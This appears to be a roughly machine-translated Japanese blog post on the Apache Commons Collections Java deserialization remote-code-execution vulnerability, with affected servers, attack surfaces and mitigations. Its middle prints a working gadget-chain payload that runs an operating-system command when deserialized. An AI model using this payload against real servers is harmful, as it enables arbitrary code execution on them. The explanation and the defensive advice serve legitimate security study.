![](https://habrastorage.org/files/0e7/b4a/c1b/0e7b4ac1b90a413e83c51addc9d0a2dd.png)
昨日、Apache FSFブログに興味深いエントリーが掲載されました。 データのシリアライゼーションとデシリアライゼーションをApache Commonsコレクションや他のいくつかのライブラリとともに使用するほとんどすべてのソフトウェアが脆弱であることが判明しました。
脆弱性自体は 11月6日に説明され、今日、OracleはWebLogicの最初のパッチをリリースしました 。
簡単に
タイプ :リモートコード実行
危険 :高
影響を受けるソフトウェア :Oracle WebLogic、IBM WebSphere、JBoss、Jenkins、OpenNMS、およびクラスパスにcommonsコレクションが含まれるその他のソフトウェア。
説明 :脆弱性により、攻撃者はこのようなシリアル化されたデータパケットを作成し、解凍すると脆弱なサーバーに強制的に任意のコードを実行させます。
詳細に
事実
- Javaには、他の多くの言語と同様に、Javaオブジェクトを一連のバイトに、またはその逆に変換するシリアライゼーション/デシリアライゼーションと呼ばれるメカニズムがあります。 RMIまたはhttp cookieなどを介してオブジェクトを転送するために使用されます。
- commonsコレクションライブラリには、シリアル化できる多くのクラス(* Transformer)があります
- 状況によっては、逆シリアル化中にInvokerTransformerがコードを実行する場合があります
- commons-collectionsライブラリは、上記のアプリケーションサーバーを含む膨大な数のプロジェクトで使用されています
- 操作のために、これらのクラスをクラスパスに含めるだけで十分です。アプリケーションで使用する必要はありません。
ペイロード
私は正直に元の記事からこの例をコピーし、私のコメントを提供しました。彼らは問題の本質を明確に示しています。
public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return handler; }
コードは、逆シリアル化によってコードが実行されるオブジェクトを生成します。
問題は、 InvokerTransformerのパッケージ方法であり、トランスフォーマーのチェーンをアンパックすると、Runtime.getRuntime()。Exec(新しい文字列[] {コマンド})が呼び出され、オペレーティングシステムでコードが実行されます。
tblによるコメント:
InvokerTransformerにはデフォルトのコンストラクターがないため、すべてが混乱を招きます。readObject()のPriorityQueueには、オブジェクトへの比較呼び出しがあり、TransformerComparatorのインスタンスが渡されます。 また、Runtime.getRuntime()。Exec()など、ゴミ、火傷、ソドミーを受け取るMethod.invoke()が既にあります。
したがって、デフォルトのコンストラクタではなく、インターフェイスメソッドを呼び出すreadObject()を探す必要があります。このメソッドの実装は、スタックのどこかで呼び出されます。
操作には、受信したオブジェクトをjava.io.ObjectOutputStreamを介してシリアル化し、使用するプロトコルを使用して転送するだけで十分です。
操作の例は元の記事に記載されていますが、PoC自体はこちらにあります 。
回避策
操作を成功させるには、シリアル化されたデータを入力として受け取るリモートサービスを見つけるだけで十分です。
潜在的な脆弱性:
- HTTPリクエスト-パラメーター、Cookie、ViewState、ヘッダーなど
- RMIおよびRMI over HTTP
- JMX
- シリアル化されたオブジェクトを渡すネイティブプロトコル
サーバーのトラフィックでこのようなオブジェクトを検索するには、スニファーを使用して、シリアル化されたオブジェクトのヘッダーであるバイトシーケンス「 ac ed 00 05 73 72 」を検索します。 システムのタイプに応じて、オブジェクトをbase64またはその他のエンコーディングでラップできることを忘れないでください。 そのようなオブジェクトを受け入れるサービスを見つけた後、それらを外部ネットワークから分離することが非常に望ましいです。 それまでの間、RedHat Security は jarファイルから「有害な」クラスを単純に削除することを提案しています。
PSそして、外部データにシリアル化を使用しない方がよいでしょう。なぜなら、そのような「トランス」がいくつ存在するのか誰も知らないからです。